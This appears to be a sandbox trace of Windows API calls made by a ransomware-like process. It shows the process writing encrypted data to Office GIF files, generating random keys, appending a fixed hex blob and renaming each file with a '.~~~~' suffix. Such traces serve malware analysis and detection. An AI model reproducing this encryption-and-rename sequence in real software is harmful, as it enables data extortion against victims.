	[0128.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0128.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0128.376] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.377] GetLastError () returned 0x0
	[0128.377] GetLastError () returned 0x0
	[0128.377] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.377] GetLastError () returned 0x0
	[0128.377] GetLastError () returned 0x0
	[0128.378] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.379] WriteFile (in: hFile=0x120, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1a0, lpOverlapped=0x0) returned 1
	[0128.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0128.392] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.396] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.397] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.397] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.397] CloseHandle (hObject=0x120) returned 1
	[0128.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0128.397] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21333_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21333_.gif.~~~~")) returned 1
	[0128.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0128.400] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.400] GetLastError () returned 0x0
	[0128.405] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x29fe350) returned 1
	[0128.406] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0128.406] CryptReleaseContext (hProv=0x29fe350, dwFlags=0x0) returned 1
	[0128.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0128.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.406] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24839616239) returned 1
	[0128.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb5fc9770, dwHighDateTime=0x1d60e1e)) 
	[0128.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ca88
	[0128.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ca88 | out: hHeap=0x300000) returned 1
	[0128.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7288
	[0128.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7288 | out: hHeap=0x300000) returned 1
	[0128.407] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.407] GetLastError () returned 0x0
	[0128.407] GetLastError () returned 0x0
	[0128.408] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.408] GetLastError () returned 0x0
	[0128.408] GetLastError () returned 0x0
	[0128.441] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffc35, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.441] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3cb, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x3cb, lpOverlapped=0x0) returned 1
	[0128.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.443] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.443] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.444] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.444] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.444] CloseHandle (hObject=0x120) returned 1
	[0128.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0128.453] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21335_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21335_.gif.~~~~")) returned 1
	[0128.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0128.455] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.455] GetLastError () returned 0x0
	[0128.456] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.457] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.457] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.457] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24844715674) returned 1
	[0128.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb603bb90, dwHighDateTime=0x1d60e1e)) 
	[0128.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cb30
	[0128.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cb30 | out: hHeap=0x300000) returned 1
	[0128.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4fcf8
	[0128.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b68b0
	[0128.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4fcf8 | out: hHeap=0x300000) returned 1
	[0128.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b68b0 | out: hHeap=0x300000) returned 1
	[0128.458] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.458] GetLastError () returned 0x0
	[0128.458] GetLastError () returned 0x0
	[0128.458] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.458] GetLastError () returned 0x0
	[0128.459] GetLastError () returned 0x0
	[0128.462] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffef6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.462] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x10a, lpOverlapped=0x0) returned 1
	[0128.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.465] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.465] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.465] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.465] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.466] CloseHandle (hObject=0x120) returned 1
	[0128.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b68b0
	[0128.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21342_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21342_.gif.~~~~")) returned 1
	[0128.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b68b0 | out: hHeap=0x300000) returned 1
	[0128.471] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.471] GetLastError () returned 0x0
	[0128.472] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.473] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.473] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.473] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.473] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24846326316) returned 1
	[0128.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb6061cf0, dwHighDateTime=0x1d60e1e)) 
	[0128.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.473] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cb68
	[0128.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cb68 | out: hHeap=0x300000) returned 1
	[0128.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4fcf8
	[0128.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5ed8
	[0128.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4fcf8 | out: hHeap=0x300000) returned 1
	[0128.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.474] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ed8 | out: hHeap=0x300000) returned 1
	[0128.474] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.474] GetLastError () returned 0x0
	[0128.475] GetLastError () returned 0x0
	[0128.475] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.475] GetLastError () returned 0x0
	[0128.475] GetLastError () returned 0x0
	[0128.476] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff4a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.477] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xb6, lpOverlapped=0x0) returned 1
	[0128.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.479] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.479] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.479] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.479] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.479] CloseHandle (hObject=0x120) returned 1
	[0128.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5ed8
	[0128.480] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21343_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21343_.gif.~~~~")) returned 1
	[0128.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5ed8 | out: hHeap=0x300000) returned 1
	[0128.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.483] GetLastError () returned 0x0
	[0128.494] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.495] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.495] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.495] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24848506575) returned 1
	[0128.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb60adfb0, dwHighDateTime=0x1d60e1e)) 
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a49050
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a49050 | out: hHeap=0x300000) returned 1
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b68b0
	[0128.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ba08
	[0128.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b68b0 | out: hHeap=0x300000) returned 1
	[0128.496] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0128.496] GetLastError () returned 0x0
	[0128.496] GetLastError () returned 0x0
	[0128.496] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0128.496] GetLastError () returned 0x0
	[0128.496] GetLastError () returned 0x0
	[0128.499] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.499] WriteFile (in: hFile=0x138, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xb2, lpOverlapped=0x0) returned 1
	[0128.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.501] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.501] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.501] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.501] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.502] CloseHandle (hObject=0x138) returned 1
	[0128.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b68b0
	[0128.502] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21344_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21344_.gif.~~~~")) returned 1
	[0128.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b68b0 | out: hHeap=0x300000) returned 1
	[0128.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.504] GetLastError () returned 0x0
	[0128.504] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0128.505] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.505] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.505] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24849542141) returned 1
	[0128.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb60adfb0, dwHighDateTime=0x1d60e1e)) 
	[0128.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
